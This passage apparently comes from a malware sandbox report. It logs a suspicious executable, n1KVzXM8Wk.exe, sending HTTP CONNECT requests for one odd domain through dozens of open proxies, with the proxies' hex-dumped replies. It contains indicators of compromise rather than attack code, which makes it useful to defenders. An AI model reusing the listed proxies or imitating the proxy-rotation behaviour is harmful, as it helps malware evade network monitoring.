73 74 72 6f 6e 67 3e 45 72 72 6f 72 20 72 65 61 64 69 6e 67 20 66 72 6f 6d 20 72 65 6d 6f 74 65 20 73 65 72 76 65 72 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 70 3e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>502 Proxy Error</title></head><body><h1>Proxy Error</h1><p>The proxy server received an invalidresponse from an upstream server.<br />The proxy server could not handle the request<p>Reason: <strong>Error reading from remote server</strong></p></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.4	54626	202.148.22.106	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.627870083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.4	54653	192.111.129.145	16894	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.641419888 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.4	55125	125.228.143.207	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.642956018 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.4	55121	45.251.231.113	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.693078995 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.4	55175	172.67.182.128	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.705389977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.792815924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.4	55135	154.12.178.107	29985	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.705590010 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.4	50551	162.240.10.35	47056	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.705790043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:35.769251108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:38.846256971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:44.849884987 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:56.850116968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.4	55173	201.184.159.28	5678	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.706185102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.4	54981	191.252.113.27	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.710974932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:46:00.995507002 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.4	55171	45.189.151.17	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.712724924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.900285006 CET	202	IN	HTTP/1.0 403 Forbidden Content-Length: 810 Content-Type: text/html Date: Fri, 23 Feb 2024 08:45:31 GMT Expires: Fri, 23 Feb 2024 08:45:31 GMT Server: Mikrotik HttpProxy Proxy-Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.4	55150	213.233.178.137	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.717835903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.990842104 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/4.10 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3705 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2019 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2020 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.4	55152	80.249.112.162	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.722507954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.989826918 CET	343	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.0 (Ubuntu) Date: Fri, 23 Feb 2024 08:45:33 GMT Content-Type: text/html Content-Length: 182 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.4	55138	216.137.184.253	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.722655058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.058471918 CET	965	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 23 Feb 2024 08:45:32 GMT Server: Apache Strict-Transport-Security: max-age=63072000; includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Length: 663 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 72 6f 6f 74 40 73 65 72 76 65 72 2e 73 65 6e 61 2e 63 6c 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at root@server.sena.cl to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><p>Additionally, a 500 Internal Server Errorerror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.4	55178	51.38.63.124	27294	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.728496075 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.4	53346	198.12.253.1	49878	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.735388041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.4	54936	142.54.228.193	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.758984089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.4	55153	114.236.93.203	15599	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.759464979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.4	55186	104.18.161.122	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.770768881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:32.858300924 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.4	55161	47.74.152.29	8888	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.771151066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.099220037 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Fri, 23 Feb 2024 08:45:32 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.4	55164	139.159.176.147	8090	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.789043903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.475259066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.4	55159	36.64.238.82	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.798445940 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.4	54998	119.93.148.191	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.812571049 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:33.696410894 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.4	50582	92.205.28.187	26439	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.848938942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1901	192.168.2.4	55229	45.144.30.199	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.849191904 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1902	192.168.2.4	55185	5.44.42.82	10808	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.849569082 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1903	192.168.2.4	50579	45.173.12.141	1994	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.863089085 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:34.222616911 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1904	192.168.2.4	54683	193.239.56.84	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.867012024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1905	192.168.2.4	55011	124.105.55.176	30906	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.873595953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1906	192.168.2.4	53347	194.163.129.179	16517	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.873646975 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1907	192.168.2.4	55257	211.234.125.3	443	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.918422937 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1908	192.168.2.4	55184	27.75.148.52	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:32.937140942 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

